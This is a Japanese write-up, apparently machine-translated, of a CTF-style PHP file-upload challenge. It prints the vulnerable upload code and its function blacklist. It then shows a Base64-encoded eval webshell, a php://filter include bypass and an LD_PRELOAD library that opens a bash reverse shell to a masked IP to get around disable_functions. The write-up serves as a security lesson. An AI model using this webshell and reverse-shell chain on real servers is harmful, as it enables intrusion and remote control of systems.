目次
1.Base64+php://フィルターのバイパス
このような疑問について授業でお話しましたので、一緒に見てみましょう(以下のコードはPHP7.x以降に適用されます。バージョン5ではエラーが報告されます)
<?php
function fun($var): bool{
$blacklist = ["\$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"];
foreach($blacklist as $blackword){
if(strstr($var, $blackword)) return True;
}
return False;
}
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", "./uploads");
$msg = "Upload Success!";
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!preg_match("/php/i", strtolower($ext))){
die("只要好看的php");
}
$content = file_get_contents($temp_file);
if(fun($content)){
die("诶,被我发现了吧");
}
$new_file_name = md5($file_name).".".$ext;
$img_path = UPLOAD_PATH . '/' . $new_file_name;
if (move_uploaded_file($temp_file, $img_path)){
$is_upload = true;
} else {
$msg = 'Upload Failed!';
die();
}
echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>";
}
フロントエンドは単なるアップロードタブであり、何も表示されません
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>文件上传</title>
</head>
<body>
<h2>上传文件</h2>
<form action="index.php" method="post" enctype="multipart/form-data">
<input type="file" name="upload_file" id="upload_file">
<input type="submit" value="上传文件" name="submit">
</form>
</body>
</html>
1.思考分析
このトピックでは、php ファイルのみをアップロードできるようにする必要があります。通常の文章をアップロードすることは間違いなく機能せず、直接フィルタリングされます。
通常の Web シェルは機能しません。では、文字がない場合はどうなるのでしょうか? 明らかに、 $_ 、 ~ 、 ^ およびその他の記号をフィルタリングすることも機能しません。
最終的に、Base64 エンコーディングと php://filter はフィルタリングされず、include はそれを回避するために大文字を使用しようとする可能性があることが判明しました。
php://filter で指定したファイルのソースコードを取得できます。include 関数と組み合わせると、php://filter ストリームが php ファイルとして実行されます。
アイデア:
まず、フィルタリングされないように、Base64 でエンコードされた文をアップロードできます。
次に、ファイルに含まれるphpコードをアップロードし、include関数でphp://filterファイルストリームを指定し、アップロードした文をphpコードとして実行します。
最後に、Ant Sword が getshell に接続します
2. 実践検証
- それでは、まずフィルタリングをバイパスするために Base64 でエンコードされた文をアップロードしましょう
PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
- 次に、最初に php://filter を記述し、リソースの後にアップロードした文を続けます。これは Base64 でエンコードされているため、最初にデコードする必要があります。
php://filter/convert.base64-decode/resource=93bc3c03503d8768cf7cc1e39ce16fcb.php
- 次に Include を追加して完了です
<?php
Include("php://filter/convert.base64-decode/resource=93bc3c03503d8768cf7cc1e39ce16fcb.php");
?>
直接アップロードしますが、フィルタリングされます。よく見ると、「-」がフィルタリングされているか、Include の大文字化が回避できないことがわかります。
次に、Include を無視して、「-」を解決する別の方法を見つける必要があります。
現時点では、Base64 を使用してバイパスすることもできますが、php://filter にこのシンボルがある場合は、直接エンコードしてバイパスします。
エンコード後はデコードする必要があります。base64_decode を追加するだけです。
すると新しいコードが出てきます
<?php
Include(base64_decode("cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT05M2JjM2MwMzUwM2Q4NzY4Y2Y3Y2MxZTM5Y2UxNmZjYi5waHA="));
?>
アップロードは成功しました。まず phpinfo を渡して試してください。
実行に成功したら、Ant Sword を使用して直接 getshell を実行します。
接続成功後、元の質問は元々disabled_functionでフィルタリングされていますが、自分で構築した環境なので仕方がありません。
そこで、既製の Docker を使用して別の Docker を構築し、getshell 後にdisabled_function フィルターをシミュレートしました。
2、disabled_function バイパス
getshellの後にコマンドラインを入力します
コマンドを実行すると ret=127 が返されることがわかり、disabled_function フィルタリングがあることが確認できます。
それを回避するにはどうすればよいですか?
ここで LD_PRELOAD 環境変数を使用できます。詳細については、私の前回のブログ投稿を参照してください。
Nginx ロード バランシングと LD_PROLOAD 使用率における Webshell 接続とフィルター バイパス - Catherines7 のブログ - CSDN ブログ
実際、Ant Sword のプラグインを使用すると、これを直接バイパスできます。
ただし、今回はバイパスする独自のダイナミック リンク ライブラリを作成します。
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("bash -c 'bash -i >& /dev/tcp/xxx.xx.xx.xxx/2333 0>&1'");
}
uid_t getuid() {
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
getuid 関数をハイジャックしてリバース シェル コマンドを実行します。
同様に、gcc はコンパイルします。
gcc -shared -fPIC hook_getuid.c -o hook_getuid.so
コンパイル後、サーバーの /var/www/html ディレクトリにアップロードします。
別のphpファイルをアップロードする
<?php
putenv("LD_PRELOAD=/var/www/html/hook_getuid.so");
mail("","","","","");
?>
次に、ブラウザに移動してこの php ファイルを実行します
しかし、ここではDocker環境にいるため、シェルがポップアップできません
しかし、disabled_functionでフィルタリングされたそのような環境は存在しないため、これ以上は進みませんでした